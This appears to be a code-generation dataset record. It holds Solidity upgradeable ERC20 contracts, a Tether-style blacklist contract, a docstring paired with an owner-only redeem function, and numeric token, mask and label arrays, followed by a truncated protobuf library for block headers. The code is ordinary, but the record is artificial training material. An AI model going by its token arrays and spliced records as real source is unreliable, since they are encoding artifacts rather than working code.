require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the UpgradedStandardToken standard as defined in the EIP.
*/
interface IUpgradedStandardToken {
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(
address from,
address to,
uint256 value
) external;
function transferFromByLegacy(
address sender,
address from,
address spender,
uint256 value
) external;
function approveByLegacy(
address from,
address spender,
uint256 value
) external;
function balanceOf(address _owner) external view returns (uint256 balance);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
contract BlackList is OwnableUpgradeable {
event DestroyedBlackFunds(address _blackListedUser, uint256 _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
mapping(address => bool) public isBlackListed;
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external view returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external view returns (address) {
return owner();
}
function addBlackList(address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList(address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds(address _blackListedUser) public virtual onlyOwner {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | Redeem tokens. These tokens are withdrawn from the owner address if the balance must be enough to cover the redeem or the call will fail. @param _amount Number of tokens to be issued | function redeem(uint256 amount) public onlyOwner {
require(balanceOf(owner()) >= amount);
_burn(owner(), amount);
emit Redeem(amount);
}
| 6,231,914 | [
1,
426,
24903,
2430,
18,
8646,
2430,
854,
598,
9446,
82,
628,
326,
3410,
1758,
309,
326,
11013,
1297,
506,
7304,
358,
5590,
326,
283,
24903,
578,
326,
745,
903,
2321,
18,
225,
389,
8949,
3588,
434,
2430,
358,
506,
16865,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
283,
24903,
12,
11890,
5034,
3844,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
12296,
951,
12,
8443,
10756,
1545,
3844,
1769,
203,
3639,
389,
70,
321,
12,
8443,
9334,
3844,
1769,
203,
3639,
3626,
868,
24903,
12,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.6.8;
import "./ProtoBufRuntime.sol";
import "./GoogleProtobufAny.sol";
library PartSetHeader {
//struct definition
struct Data {
uint64 total;
bytes hash;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_total(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_hash(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_total(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.total = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.hash = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.total != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_uint64(r.total, pointer, bs);
}
if (r.hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_uint64(r.total);
e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.total != 0) {
return false;
}
if (r.hash.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.total = input.total;
output.hash = input.hash;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library PartSetHeader
library BlockID {
//struct definition
struct Data {
bytes hash;
PartSetHeader.Data part_set_header;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_hash(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_part_set_header(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
